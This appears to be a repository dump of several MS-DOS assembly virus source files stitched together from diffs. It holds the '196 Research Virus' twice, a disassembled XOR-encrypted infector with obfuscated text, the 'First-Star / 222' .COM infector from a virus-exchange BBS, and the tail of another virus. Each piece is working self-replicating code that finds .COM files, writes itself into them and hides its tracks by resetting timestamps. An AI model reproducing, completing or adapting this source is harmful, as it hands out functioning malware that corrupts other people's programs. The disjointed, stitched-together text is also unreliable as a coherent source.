db 0BAh,0BAh, 19h, 04h,0BAh, 19h
db 03h,0BDh, 20h,0BAh,0BAh, 19h
db 02h,0D3h,0B7h, 19h, 13h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h
db 04h, 19h, 07h, 08h,0BAh,0B6h
db 19h, 04h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 03h,0BAh
db 19h, 07h, 0Bh, 1Ah, 02h, 04h
db 19h, 08h, 01h,0BAh, 19h, 03h
db 18h,0D6h,0C4h,0C4h, 20h,0BAh
db 19h, 12h, 08h,0BAh,0D3h, 19h
db 02h,0B7h, 20h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh,0D3h, 19h, 02h
db 0D6h,0BDh, 19h, 13h, 01h,0BAh
db 20h,0C4h,0C4h,0B7h, 18h,0D3h
db 0C4h,0C4h,0C4h,0BDh, 19h, 12h
db 08h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D0h, 1Ah, 03h,0C4h,0BDh
db 19h, 14h, 01h,0D3h,0C4h,0C4h
db 0C4h,0BDh, 18h, 04h, 1Ah, 04h
db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
db 04h,0C4h,0B7h, 20h,0D6h, 1Ah
db 03h,0C4h,0B7h, 20h,0D2h,0D2h
db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h
db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h
db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h
db 0D2h,0B7h, 19h, 04h,0D2h, 20h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 03h, 04h, 1Ah, 04h
db 3Ch, 18h, 01h,0D6h,0C4h,0C4h
db 0C4h,0B7h, 19h, 07h, 07h,0D6h
db 0C4h,0BDh
dd 319BA20h ; Data table (indexed access)
db 0BDh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh, 19h, 03h,0BDh
db 20h,0BAh,0BAh, 19h, 04h,0BAh
db 20h, 20h,0BAh,0BAh, 19h, 02h
db 0BAh, 19h, 03h, 01h,0D6h,0C4h
db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h
db 0C4h, 20h,0BAh, 19h, 06h, 08h
db 58h, 19h, 03h,0C7h,0C4h,0B6h
db 19h, 03h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 04h,0BAh
db 20h, 20h,0BAh,0B6h, 19h, 02h
db 0BAh, 19h, 03h, 01h,0BAh, 20h
db 0C4h,0C4h,0BDh, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D6h,0C4h
db 0BDh, 19h, 04h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh, 19h, 05h,0BAh
db 19h, 05h,0BAh, 19h, 03h,0B7h
db 20h,0BAh,0D3h, 19h, 02h,0B7h
db 20h,0BAh, 20h, 20h,0BAh,0D3h
db 19h, 02h,0BAh, 19h, 03h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D3h, 1Ah
db 04h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0BDh, 19h
db 05h,0BDh, 19h, 05h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D0h, 20h
db 20h,0D0h, 19h, 03h,0D0h, 19h
db 03h, 01h,0BAh, 19h, 03h, 18h
db 19h, 03h,0C8h, 1Ah, 15h,0CDh
db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
db 0CDh,0BCh, 19h, 03h, 18h, 19h
db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h
db 0F7h, 09h, 2Fh, 04h,0EAh, 09h
db 5Ch, 04h, 1Ah, 03h,0F7h, 01h
db 0CDh,0BEh, 19h, 1Bh, 18h
data_1e equ 0A0h
dot_dot db '..',0
heap:
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
finish label near
end entry_point
; Yeah, the main problem is reproducing the effect in an infected file so
; thta when IT runs, IT too will display... That's the GLITCH...
;
; Also, I had stuck INT 27H in somewhere around the EXIT .EXE...
; I don't remember, but it would go resident and suck up memory, yet
; since it hooked no interuppts, it just sat there...
; Feel free to STUDY this code and distribute it feely for educational
; purposes, because in spite of the kidding...I don't "hAcK"... for lack
; of a better word...--->>pAgE<<---
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,152 @@
;***************************************************************************
;* *
;* 196 - Research Virus Version 1.01 Date. 11th April 1992. *
;* *
;* Written By : F.Deakin (ACE COMPUTER SYSTEMS) *
;* *
;* Non-Overwriting Version of 97 Virus *
;* *
;***************************************************************************
CODE Segment
Assume CS:CODE
progr equ 100h
org progr
virus_size EQU vir_end-vir_start
variable_diff EQU variables_start-next_byte
highlander:
call vir_start ;call virus
mov ah,4ch ;return to operating system
int 21h ;thru' dos interrupt 21h
vir_start:
call next_byte ;call next address
next_byte:
pop ax ;get virus address
pop di ;get program start address
push ax ;save virus address
pop si ;get address of next_byte
mov ax,variable_diff ;add difference
add si,ax ;get variables address
mov ax,3 ;move to old address
sub di,ax ;start of .com file
add si,ax ;point to old code
mov ax,[si] ;get two bytes from old code
mov [di],ax ;and place at start of file
inc si ;increment to third byte
inc si ;
inc di ;increment to third address to save
inc di ;
mov al,[si] ;get last byte of old code
mov [di],al ;and place at start of .COM file
mov ax,5 ;five bytes out
sub si,ax ;back to start of variables
mov di,si ;which is copied to destination
mov ax,6 ;add 6 to variables address
add di,ax ;and save file control block
;search for first
mov ah,4eh ;search for first
xor cx,cx ;attributes to search
mov dx,di ;point to fcb
int 21h ;call dos
jc return_to_prog ;if no file found return to program
found_one:
mov ah,2fh ;get DTA address into es:bx
int 21h ;call dos
mov ax,22 ;jump over to time
add bx,ax ;and point to it
mov al,es:[bx] ;and place in ax
and al,00000111b ;get seconds only
cmp al,00h ;zero seconds?
jnz infect_program ;if not infect program
mov ah,4fh ;find next file
int 21h ;call dos
jmp short found_one ;jump back
infect_program:
mov ax,8 ;jump to asciiz fcb
add ax,bx ;add to bx
mov dx,ax ;and move to dx
mov ax,3d02h ;open file for writing
int 21h ;call dos
jnc continue ;continue if no error
mov ah,4fh ;search for next
xor cx,cx ;attributes to search
int 21h ;call dos
jc return_to_prog ;if no file found return to program
jmp short found_one ;jump forward if one found
continue:
mov bx,ax ;transfer file handle to bx
;read first three bytes
mov ah,3fh ;read file
mov cx,3 ;number of bytes to read
mov dx,3 ;three bytes to old_code
add dx,si ;point to buffer to read
int 21h ;call dos
mov ax,4202h ;move file pointer to end of file
xor cx,cx ;clear cx
xor dx,dx ;clear dx
int 21h ;call dos
dec ax ;decrement ax
dec ax ;
dec ax ;
dec si ;save address
mov word [si],ax ;and store
mov ah,40h ;write to file
mov cx,virus_size ;set counter to write
mov dx,offset vir_start ;point to buffer to start
int 21h ;and write to file
mov ax,4200h ;move file pointer to start of file
xor cx,cx ;clear cx
xor dx,dx ;clear dx
int 21h ;call dos
mov ah,40h ;write to file
mov cx,3 ;set counter to write
inc si ;point to jump address
mov dx,si ;point to buffer to start
int 21h ;and write to file
mov ax,5701h ;set date & time
xor cx,cx ;time set to zero
xor dx,dx ;and date
int 21h ;and do it
mov ah,3eh ;close file
int 21h ;thru' dos
return_to_prog:
mov ah,4ch ;terminate program
int 21h ;exit to dos
variables_start:
jump_add:
db 0e8h,0,0
old_code:
db 90h,90h,90h
fcb:
db "*.COM",0
variables_end:
vir_end:
CODE ENDS
END highlander

@@ -0,0 +1,152 @@
;***************************************************************************
;* *
;* 196 - Research Virus Version 1.01 Date. 11th April 1992. *
;* *
;* Written By : F.Deakin (ACE COMPUTER SYSTEMS) *
;* *
;* Non-Overwriting Version of 97 Virus *
;* *
;***************************************************************************
CODE Segment
Assume CS:CODE
progr equ 100h
org progr
virus_size EQU vir_end-vir_start
variable_diff EQU variables_start-next_byte
highlander:
call vir_start ;call virus
mov ah,4ch ;return to operating system
int 21h ;thru' dos interrupt 21h
vir_start:
call next_byte ;call next address
next_byte:
pop ax ;get virus address
pop di ;get program start address
push ax ;save virus address
pop si ;get address of next_byte
mov ax,variable_diff ;add difference
add si,ax ;get variables address
mov ax,3 ;move to old address
sub di,ax ;start of .com file
add si,ax ;point to old code
mov ax,[si] ;get two bytes from old code
mov [di],ax ;and place at start of file
inc si ;increment to third byte
inc si ;
inc di ;increment to third address to save
inc di ;
mov al,[si] ;get last byte of old code
mov [di],al ;and place at start of .COM file
mov ax,5 ;five bytes out
sub si,ax ;back to start of variables
mov di,si ;which is copied to destination
mov ax,6 ;add 6 to variables address
add di,ax ;and save file control block
;search for first
mov ah,4eh ;search for first
xor cx,cx ;attributes to search
mov dx,di ;point to fcb
int 21h ;call dos
jc return_to_prog ;if no file found return to program
found_one:
mov ah,2fh ;get DTA address into es:bx
int 21h ;call dos
mov ax,22 ;jump over to time
add bx,ax ;and point to it
mov al,es:[bx] ;and place in ax
and al,00000111b ;get seconds only
cmp al,00h ;zero seconds?
jnz infect_program ;if not infect program
mov ah,4fh ;find next file
int 21h ;call dos
jmp short found_one ;jump back
infect_program:
mov ax,8 ;jump to asciiz fcb
add ax,bx ;add to bx
mov dx,ax ;and move to dx
mov ax,3d02h ;open file for writing
int 21h ;call dos
jnc continue ;continue if no error
mov ah,4fh ;search for next
xor cx,cx ;attributes to search
int 21h ;call dos
jc return_to_prog ;if no file found return to program
jmp short found_one ;jump forward if one found
continue:
mov bx,ax ;transfer file handle to bx
;read first three bytes
mov ah,3fh ;read file
mov cx,3 ;number of bytes to read
mov dx,3 ;three bytes to old_code
add dx,si ;point to buffer to read
int 21h ;call dos
mov ax,4202h ;move file pointer to end of file
xor cx,cx ;clear cx
xor dx,dx ;clear dx
int 21h ;call dos
dec ax ;decrement ax
dec ax ;
dec ax ;
dec si ;save address
mov word [si],ax ;and store
mov ah,40h ;write to file
mov cx,virus_size ;set counter to write
mov dx,offset vir_start ;point to buffer to start
int 21h ;and write to file
mov ax,4200h ;move file pointer to start of file
xor cx,cx ;clear cx
xor dx,dx ;clear dx
int 21h ;call dos
mov ah,40h ;write to file
mov cx,3 ;set counter to write
inc si ;point to jump address
mov dx,si ;point to buffer to start
int 21h ;and write to file
mov ax,5701h ;set date & time
xor cx,cx ;time set to zero
xor dx,dx ;and date
int 21h ;and do it
mov ah,3eh ;close file
int 21h ;thru' dos
return_to_prog:
mov ah,4ch ;terminate program
int 21h ;exit to dos
variables_start:
jump_add:
db 0e8h,0,0
old_code:
db 90h,90h,90h
fcb:
db "*.COM",0
variables_end:
vir_end:
CODE ENDS
END highlander

File diff suppressed because it is too large Load Diff
@@ -0,0 +1,925 @@
PAGE ,132
S00000 SEGMENT BYTE PUBLIC 'code'
ASSUME CS:S00000
ASSUME SS:S00000
ASSUME DS:S00000
H00000 DB 256 DUP(?)
P00100 PROC FAR
ASSUME ES:S00000
H00100:
JMP SHORT H00104
DB 90H
H00103 DB 2
H00104:
CALL P0010A
JMP H006F1
P0010A PROC NEAR
H0010A:
PUSH CX
MOV BX,0138H
H0010E:
MOV CH,[BX]
XOR CH,H00103
MOV [BX],CH
INC BX
CMP BX,0900H
JLE H0010E
POP CX
RET
P0010A ENDP
DW 00BAH
DW 8B01H
DW 0E51EH
DW 5306H
DW 0E0E8H
DW 5BFFH
DW 0C8B9H
DW 0B407H
DW 0CD40H
DW 5321H
DW 0D4E8H
DW 5BFFH
DW 0DC3H
DW 1B10H
DW 0800H
DW 1BB1H
DW 0C104H
DW 2218H
DW 0BDC6H
DW 011BH
DW 1BB1H
DW 0B115H
DW 011BH
DW 1B1AH
DW 0C100H
DW 0418H
DW 0DBC6H
DW 0B302H
DW 14B3H
DW 1918H
DW 10B3H
DW 22DFH
DW 0822H
DW 1BB1H
DW 0C101H
DW 0C18H
DW 0C0C6H
DW 0518H
DW 0C3C6H
DW 0BDC6H
DW 2222H
DW 1B1AH
DW 0B100H
DW 061BH
DW 0B302H
DW 14B3H
DW 1D18H
DW 10B3H
DW 22DFH
DW 0C208H
DW 0C6C6H
DW 0C6C0H
DW 1BDBH
DW 0B10CH
DW 0B1BH
DW 22B1H
DW 1A22H
DW 001BH
DW 1BB1H
DW 0201H
DW 0B3B3H
DW 1814H
DW 0B323H
DW 0DF10H
DW 001BH
DW 0B108H
DW 121BH
DW 1BB1H
DW 0C20BH
DW 0C6C6H
DW 1B1AH
DW 0B100H
DW 001BH
DW 0B302H
DW 14B3H
DW 2118H
DW 10B3H
DW 22DFH
DW 1B13H
DW 0B06H
DW 10DCH
DW 1322H
DW 0DC22H
DW 2210H
DW 2213H
DW 10DCH
DW 1322H
DW 0DC22H
DW 2210H
DW 1B13H
DW 0DC06H
DW 2210H
DW 2213H
DW 0DC22H
DW 2210H
DW 1322H
DW 2222H
DW 10DCH
DW 2222H
DW 1B1AH
DW 0800H
DW 22B1H
DW 0222H
DW 0B3B3H
DW 1814H
DW 0B30AH
DW 180DH
DW 0B31AH
DW 1002H
DW 14DFH
DW 0B3B3H
DW 10B3H
DW 13DFH
DW 0B22H
DW 02DCH
DW 1810H
DW 0B306H
DW 2213H
DW 0DC0BH
DW 0DC22H
DW 1002H
DW 0B3B3H
DW 2213H
DW 0DC0BH
DW 1002H
DW 13B3H
DW 0B22H
DW 02DCH
DW 1810H
DW 0B306H
DW 2213H
DW 0DC0BH
DW 0DC22H
DW 0DC22H
DW 0DC22H
DW 1002H
DW 22B3H
DW 1B1AH
DW 0800H
DW 22B1H
DW 0222H
DW 0B3B3H
DW 1814H
DW 0B305H
DW 180DH
DW 0B31BH
DW 1002H
DW 22DFH
DW 1422H
DW 10B3H
DW 13DFH
DW 061BH
DW 0DC0BH
DW 2210H
DW 2213H
DW 0DC22H
DW 1002H
DW 22B3H
DW 1322H
DW 0B22H
DW 02DCH
DW 0B310H
DW 1B13H
DW 0B06H
DW 10DCH
DW 1322H
DW 0DC22H
DW 1002H
DW 13B3H
DW 0B22H
DW 02DCH
DW 0B310H
DW 2213H
DW 0DC0BH
DW 1002H
DW 22B3H
DW 081AH
DW 0C6C6H
DW 0DBC0H
DW 2222H
DW 0B302H
DW 14B3H
DW 0518H
DW 0DB3H
DW 0E18H
DW 12B3H
DW 051BH
DW 1814H
DW 0B301H
DW 1002H
DW 1BDFH
DW 0800H
DW 22B1H
DW 0222H
DW 0B3B3H
DW 13B3H
DW 0B22H
DW 02DCH
DW 0B310H
DW 2213H
DW 0DC0BH
DW 0DC22H
DW 1002H
DW 22B3H
DW 2213H
DW 0DC0BH
DW 1002H
DW 22B3H
DW 0B3B3H
DW 13B3H
DW 0B22H
DW 02DCH
DW 0B310H
DW 2213H
DW 0DC0BH
DW 1002H
DW 22B3H
DW 0B3B3H
DW 2213H
DW 0DC0BH
DW 1002H
DW 22B3H
DW 221AH
DW 0822H
DW 1BB1H
DW 0200H
DW 0B3B3H
DW 1814H
DW 0B305H
DW 180DH
DW 0B30EH
DW 0DC12H
DW 0D9D9H
DW 1402H
DW 0B3B3H
DW 0B0B0H
DW 120DH
DW 14D9H
DW 0B3B3H
DW 02B3H
DW 0DF10H
DW 011BH
DW 0B108H
DW 1322H
DW 061BH
DW 0DC0BH
DW 1002H
DW 13B3H
DW 0B22H
DW 02DCH
DW 0B310H
DW 2213H
DW 0DC0BH
DW 1002H
DW 13B3H
DW 0B22H
DW 02DCH
DW 0B310H
DW 1B13H
DW 0B06H
DW 02DCH
DW 0B310H
DW 2213H
DW 0DC0BH
DW 1002H
DW 1BB3H
DW 1300H
DW 0B22H
DW 02DCH
DW 0B310H
DW 1A22H
DW 2222H
DW 0B108H
DW 001BH
DW 0B302H
DW 14B3H
DW 0518H
DW 0DB3H
DW 0E18H
DW 12B3H
DW 0D9DCH
DW 02D9H
DW 0B314H
DW 0B3B3H
DW 0DB0H
DW 0D912H
DW 0B314H
DW 02B3H
DW 0DF10H
DW 061BH
DW 0B108H
DW 2222H
DW 1802H
DW 0B307H
DW 0B322H
DW 22B3H
DW 0B3B3H
DW 0B322H
DW 22B3H
DW 0718H
DW 22B3H
DW 0B3B3H
DW 001BH
DW 0B3B3H
DW 22B3H
DW 221AH
DW 0822H
DW 1BB1H
DW 0200H
DW 0B3B3H
DW 1814H
DW 0B301H
DW 0B30DH
DW 0B3B3H
DW 0B302H
DW 180DH
DW 0B30EH
DW 0DC12H
DW 0718H
DW 14D9H
DW 0B3B3H
DW 1002H
DW 1BDFH
DW 0801H
DW 0C6D8H
DW 1BDBH
DW 0D818H
DW 0C6C6H
DW 0BDC6H
DW 2222H
DW 221AH
DW 0B122H
DW 011BH
DW 0B302H
DW 14B3H
DW 0B3B3H
DW 0DB3H
DW 1818H
DW 02B3H
DW 0DF10H
DW 001BH
DW 0C108H
DW 0418H
DW 0C0C6H
DW 1618H
DW 0DBC6H
DW 001BH
DW 22B1H
DW 1A22H
DW 2222H
DW 18C1H
DW 0C601H
DW 02BDH
DW 0B3B3H
DW 140DH
DW 1F18H
DW 02B3H
DW 0DF10H
DW 2222H
DW 0B108H
DW 071BH
DW 2216H
DW 140DH
DW 1656H
DB 'jg"ocl"ujm"`pmwejv"{mw"'
DW 2210H
DW 0822H
DW 22B1H
DW 1A22H
DW 2222H
DW 1BB1H
DW 0B101H
DW 0B302H
DW 0DB3H
DW 1814H
DW 0B31EH
DW 1002H
DW 1BDFH
DW 0800H
DW 1BB1H
DW 0201H
DW 0B3B3H
DW 2216H
DB 0DH
DB '400."Qikqo"Mlg."Acrvkcl"'
DW 2210H
DW 0822H
DW 22B1H
DW 1A22H
DW 2222H
DW 1BB1H
DW 0B101H
DW 0B302H
DW 0DB3H
DW 1814H
DW 0B310H
DW 1002H
DW 0DDFH
DW 1814H
DW 0B305H
DW 1002H
DW 1BDFH
DW 0801H
DW 1BB1H
DW 0201H
DW 0B3B3H
DW 2216H
DB 0DH
DB 'Vpkrq."clf"Qw`/Xgpm"lmu"'
DW 2210H
DW 0822H
DW 22B1H
DW 1A22H
DW 2222H
DW 1BB1H
DW 0B101H
DW 0B302H
DW 0DB3H
DW 1814H
DW 0B310H
DW 1002H
DW 1BDFH
DW 0801H
DW 1BB1H
DW 0B105H
DW 011BH
DW 0B302H
DW 16B3H
DW 0D22H
DB 'qjcliq"{mw"ceckl.""ukvj"'
DW 2210H
DW 0822H
DW 0C6C2H
DW 1AC6H
DW 2222H
DW 1BB1H
DW 0B101H
DW 0B302H
DW 0DB3H
DW 1814H
DW 0B310H
DW 1002H
DW 1BDFH
DW 0801H
DW 0C6C2H
DW 0BDC6H
DW 061BH
DW 0C6C1H
DW 22BDH
DW 0222H
DW 0B3B3H
DW 2216H
DB 0DH
DB 'jkq"ncvgqv,,,'
DW 081BH
DW 1B10H
DW 1A06H
DW 2222H
DW 0C208H
DW 0C6C6H
DW 0C6C0H
DW 02C3H
DW 0B3B3H
DW 140DH
DW 1118H
DW 02B3H
DW 0DF10H
DW 071BH
DW 0B108H
DW 061BH
DW 22B1H
DW 22B1H
DW 0222H
DW 1A18H
DW 1BB3H
DW 1A04H
DW 061BH
DW 0B108H
DW 2222H
DW 0B302H
DW 0DB3H
DW 1814H
DW 0B315H
DW 1002H
DW 22DFH
DW 0822H
DW 1BB1H
DW 0B106H
DW 0C222H
DW 1E18H
DW 0BDC6H
DW 011BH
DW 0C61AH
DW 0C0C6H
DW 0C6C6H
DW 22DBH
DW 0222H
DW 0B3B3H
DW 140DH
DW 1418H
DW 02B3H
DW 0DF10H
DW 001BH
DW 0C108H
DW 0C6C6H
DW 0C0C6H
DW 0DBC6H
DW 071BH
DW 2217H
DB 0CH
DB 'Qikqo"3;;0"/"Tkpwq'
DW 0118H
DW 2223H
DW 2210H
DW 0C108H
DW 0118H
DW 1AC6H
DW 2222H
DW 1BB1H
DW 0206H
DW 0B3B3H
DW 140DH
DW 0A18H
DW 02B3H
DW 0DF10H
DW 0A1BH
DW 0D808H
DW 0418H
DW 0DBC6H
DW 001BH
DW 1BB1H
DW 0207H
DW 0B3B3H
DW 1B17H
DW 0D01H
DB 'Egv"c"ncvg"rcqq#'
DW 011BH
DW 2210H
DW 0B108H
DW 011BH
DW 0D81AH
DW 0DBC6H
DW 001BH
DW 0B302H
DW 0DB3H
DW 1811H
DW 0D909H
DW 0D914H
DW 12D9H
DW 10DFH
DW 071BH
DW 0B108H
DW 081BH
DW 1BB1H
DW 0207H
DW 1A18H
DW 22B3H
DW 0822H
DW 1BB1H
DW 1A01H
DW 22B1H
DW 0B302H
DW 0DB3H
DW 1811H
DW 0D919H
DW 1002H
DW 1BDFH
DW 0805H
DW 1BB1H
DW 0D811H
DW 0918H
DW 0DBC6H
DW 011BH
DW 021AH
DW 0B3B3H
DW 120DH
DW 2218H
DW 0DFD9H
DW 1B10H
DW 0806H
DW 1BB1H
DW 0B111H
DW 121BH
DW 0D1AH
DW 1812H
DW 0D921H
DW 10DFH
DW 011BH
DW 0C208H
DW 1118H
DW 0DBC6H
DW 121BH
DW 281AH
DB 2
DB '(,GZG'
DW 5E02H
DW 0102H
DB '========"""'
DW 0111H
DW 0202H
DW 2802H
DW 0EFD3H
DW 1348H
DW 7B68H
DW 14D4H
DW 0202H
DW 0202H
DB 'FMQ'
DB 2
DB '""""'
DW 0202H
DW 0202H
DW 0102H
DB '========GZG'
DW 0705H
DW 2302H
DW 2802H
DW 0EFD3H
DB 'H"*'
DW 2300H
DW 0002H
DW 0202H
DB 2
DB 'VCPEGP,GZG'
DW 0202H
DW 9502H
DW 4432H
DW 7304H
DW 9504H
DW 0232H
DB 'VGOR'
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0202H
DW 0207H
DW 002AH
DW 0223H
DW 0222H
DW 22CFH
DW 0202H
H006F1:
MOV DX,3202H
IRET
P00100 ENDP
DW 3E23H
DW 7001H
DW 0B629H
DW 0CF2EH
DW 8A23H
DW 0114H
DW 0B603H
DW 0CF28H
DW 8223H
DW 1BF8H
DW 067EH
DW 073EH
DW 0176H
DW 77E9H
DW 0BC92H
DW 033AH
DW 02BAH
DW 8CBAH
DW 0BDC2H
DW 0202H
DW 06BBH
DW 0EA07H
DW 0207H
DW 0FCE9H
DW 88EBH
DW 0E102H
DW 8959H
DW 31D5H
DW 0FEC2H
DB 0AEH
DB '>"p'
DW 0A907H
DW 0FAE0H
DW 4EE9H
DW 123EH
DW 0571H
DW 0E682H
DW 08F2H
DW 0E9E2H
DW 3EF3H
DW 761AH
DW 7111H
DW 2E1BH
DW 0012H
DW 00C2H
DW 00C2H
DW 00C2H
DW 82C2H
DW 8DE6H
DW 0E208H
DW 0D8E9H
DW 0C083H
DW 02A2H
DW 0F889H
DW 0D0E9H
DW 193EH
DW 0570H
DW 0CE77H
DW 0F682H
DW 0E982H
DW 3EC5H
DW 891BH
DW 0AEDBH
DW 0CA88H
DW 22B2H
DW 0076H
DW 49AEH
DW 0EF30H
DW 0F143H
DW 89A9H
DW 4BC9H
DW 0A8E2H
DW 0B8C1H
DW 0444H
DW 18B6H
DW 23CFH
DW 1BB6H
DW 23CFH
DW 0D288H
DW 0C0FCH
DW 45B6H
DW 0A7BCH
DW 0CF04H
DW 0B823H
DW 0446H
DW 39B6H
DW 23CFH
DW 11BBH
DW 0B802H
DW 043EH
DW 4CB6H
DW 23CFH
DW 103FH
DW 7702H
DW 0E901H
DW 9253H
DW 4DB6H
DW 23CFH
DW 103FH
DW 7602H
DW 0B845H
DW 0466H
DW 39B6H
DW 23CFH
DW 2DB6H
DW 23CFH
DW 048EH
DW 049EH
DW 1C8BH
DW 049CH
DW 73B8H
DW 0B604H
DW 0CF18H
DW 0BB23H
DW 0205H
DW 3CB8H
DW 0B604H
DW 0CF4CH
DW 3F23H
DW 0210H
DW 2377H
DW 4DB6H
DW 23CFH
DW 103FH
DW 7702H
DW 0B81AH
DW 0446H
DW 39B6H
DW 23CFH
DW 18B6H
DW 1C8CH
DW 049EH
DW 1489H
DW 049CH
DW 23CFH
DW 0B2E9H
DW 7BE9H
DW 0B692H
DW 0CF2DH
DW 8E23H
DW 0A004H
DW 8B04H
DW 0A21CH
DW 0B804H
DW 048DH
DW 73B9H
DW 8904H
DW 1A45H
DW 0EBA1H
DW 8904H
DW 1445H
DW 0E5A1H
DW 8904H
DW 1745H
DW 02BAH
DW 0CF41H
DW 8B23H
DW 0E90CH
DW 0BA04H
DW 4103H
DW 0CB31H
DW 23CFH
DW 02BAH
DW 0CF3FH
DB '#p!'
DW 0E7A1H
DW 0B604H
DW 893DH
DW 0E71CH
DW 0BB04H
DW 0200H
DW 0EFB8H
DW 0CF04H
DW 0B623H
DW 893CH
DW 0E71CH
DW 0CF04H
DW 8923H
DW 0EF1CH
DW 8304H
DW 0E9F9H
DW 7700H
DW 0B60DH
DW 8C18H
DW 0A01CH
DW 8904H
DW 0A214H
DW 0CF04H
DW 0EB23H
DW 0FD77H
DW 8DB8H
DW 0BA04H
DW 3F00H
DW 23CFH
DW 0E7A1H
DW 0EA04H
DW 0FA9DH
DW 03BAH
DW 8955H
DW 0E71CH
DW 8904H
DW 0E50CH
DW 8904H
DW 0EB14H
DW 0CF04H
DW 0BA23H
DW 4103H
DW 0C89H
DW 04E9H
DW 8DB8H
DW 0CF04H
DW 0B623H
DW 0B839H
DW 0446H
DW 23CFH
DW 39B6H
DW 0A7B8H
DW 0CF04H
DW 0BA23H
DW 4E02H
DB 0CFH
DB '#OaCdgg"upmvg"Ujcng######'
S00000 ENDS
END P00100

@@ -0,0 +1,161 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;
; First-Star / 222 Virus
;
; (C) by Glenn Benton in 1992
; This is a non-resident direct action .COM infector in current dirs.
;
;
;
Org 0h
Start: Jmp MainVir
Db '*'
MainVir: Call On1
On1: Pop BP
Sub BP,Offset MainVir+3
Push Ax
Mov Ax,Cs:OrgPrg[BP]
Mov Bx,Cs:OrgPrg[BP]+2
Mov Cs:Start+100h,Ax
Mov Cs:Start[2]+100h,Bx
Mov Ah,1ah
Mov Dx,0fd00h
Int 21h
Mov Ah,4eh
Search: Lea Dx,FileSpec[BP]
Xor Cx,Cx
Int 21h
Jnc Found
Jmp Ready
Found: Mov Ax,4300h
Mov Dx,0fd1eh
Int 21h
Push Cx
Mov Ax,4301h
Xor Cx,Cx
Int 21h
Mov Ax,3d02h
Int 21h
Mov Bx,5700h
Xchg Ax,Bx
Int 21h
Push Cx
Push Dx
Mov Ah,3fh
Lea Dx,OrgPrg[BP]
Mov Cx,4
Int 21h
Mov Ax,Cs:[OrgPrg][BP]
Cmp Ax,'MZ'
Je ExeFile
Cmp Ax,'ZM'
Je ExeFile
Mov Ah,Cs:[OrgPrg+3][BP]
Cmp Ah,'*'
Jne Infect
ExeFile: Call Close
Mov Ah,4fh
Jmp Search
FSeek: Xor Cx,Cx
Xor Dx,Dx
Int 21h
Ret
Infect: Mov Ax,4202h
Call FSeek
Sub Ax,3
Mov Cs:CallPtr[BP]+1,Ax
Mov Ah,40h
Lea Dx,MainVir[BP]
Mov Cx,VirLen
Int 21h
Mov Ax,4200h
Call FSeek
Mov Ah,40h
Lea Dx,CallPtr[BP]
Mov Cx,4
Int 21h
Call Close
Ready: Mov Ah,1ah
Mov Dx,80h
Int 21h
Pop Ax
Mov Bx,100h
Push Cs
Push Bx
Retf
Close: Pop Si
Pop Dx
Pop Cx
Mov Ax,5701h
Int 21h
Mov Ah,3eh
Int 21h
Mov Ax,4301h
Pop Cx
Mov Dx,0fd1eh
Int 21h
Push Si
Ret
CallPtr Db 0e9h,0,0
FileSpec Db '*.COM',0
OrgPrg: Int 20h
Nop
Nop
VirLen Equ $-MainVir
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
